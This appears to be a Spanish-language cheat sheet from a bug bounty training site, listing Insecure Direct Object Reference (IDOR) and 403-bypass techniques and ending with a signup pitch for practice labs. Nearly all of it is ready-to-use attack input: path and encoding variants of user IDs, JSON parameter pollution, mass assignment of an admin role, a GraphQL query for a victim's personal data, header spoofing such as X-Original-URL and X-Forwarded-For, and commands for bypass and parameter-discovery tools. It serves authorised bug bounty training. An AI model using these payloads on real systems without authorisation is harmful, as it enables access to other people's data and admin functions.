Cheatsheet IDOR

Insecure Direct Object Reference

Referencia rápida

  • El IDOR existe porque la capa que autoriza y la capa que procesa interpretan el input diferente
  • Encoded space (%20) es la tecnica con mayor ratio de exito segun investigaciones
  • Siempre probar version downgrade de API: v5 -> v4, v3, v2, v1
  • UUID v1 es predecible si conoces timestamp aproximado - solo v4 tiene alta entropia
  • Buscar IDs filtrados en otras respuestas API, Referrer headers y signup flows

Tecnicas de bajo ruido

Trailing slash

/api/v5/users/99/

Double slash

/api/v5//users//99

Subpath variantsProbar tambien: /details, /info, /summary, /export

/api/v5/users/99/profile

Query param vs pathDiferentes code paths de parsing

/users?id=99

Multi-ID filterList endpoints suelen tener menos proteccion

?ids[]=100&ids[]=99

Version downgrade y formato

API version downgradeVersiones antiguas pueden no tener ACL modernos

/api/v2/users/99

Type confusion - string

/users/"99"

Leading zeros

/users/099

Hexadecimal0x63 = 99 en hexadecimal

/users/0x63

Encoded space (mas exitoso)Tecnica con mayor ratio de exito real

/users/99%20

Null byte

/users/99%00

Composite (combinar)Version downgrade + encoded space + trailing slash

/api/v2/users/99%20/

Manipulacion de parametros

JSON parameter pollutionBackend puede tomar el segundo valor

{"userid":1234,"userid":2542}

Wrap ID con array

{"userid":[123]}

Wrap ID con objeto

{"userid":{"userid":123}}

Mass assignment - role

{"username":"test","role":"admin","isVerified":true}

GraphQL IDOR

query { user(id: "victim-id") { email role personalData } }

Type confusion (object ID swap)Sustituir tipo de ID esperado por otro tipo

page_id=USER_ID

Bypass 403 con headers

X-Original-URL

X-Original-URL: /api/v5/admin/100

X-Forwarded-For

X-Forwarded-For: 127.0.0.1

X-Custom-IP-Authorization

X-Custom-IP-Authorization: 127.0.0.1

X-Rewrite-URL

X-Rewrite-URL: /admin

X-HTTP-Method-OverrideCambiar metodo HTTP via header

X-HTTP-Method-Override: PUT

Bypass 403 con URL encoding

Path con punto

/admin/.

Path con punto-coma

/admin;/

Path con doble encoding

/admin%252f

Path con %2e

/%2e/admin

Path con null byte

/admin%00.json

Case manipulation

/ADMIN

Path traversal y vuelta

/admin/./../../admin

Herramientas

Autorize (Burp)

Extension de Burp que detecta IDOR automaticamente comparando sesiones

Burp Suite > Extensions > Autorize > Configure cookies

bypass-403

Prueba automaticamente multiples tecnicas de bypass 403

python3 bypass-403.py https://target.com/admin

Arjun

Descubre parametros HTTP ocultos en endpoints API

arjun -u https://target.com/api/endpoint

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras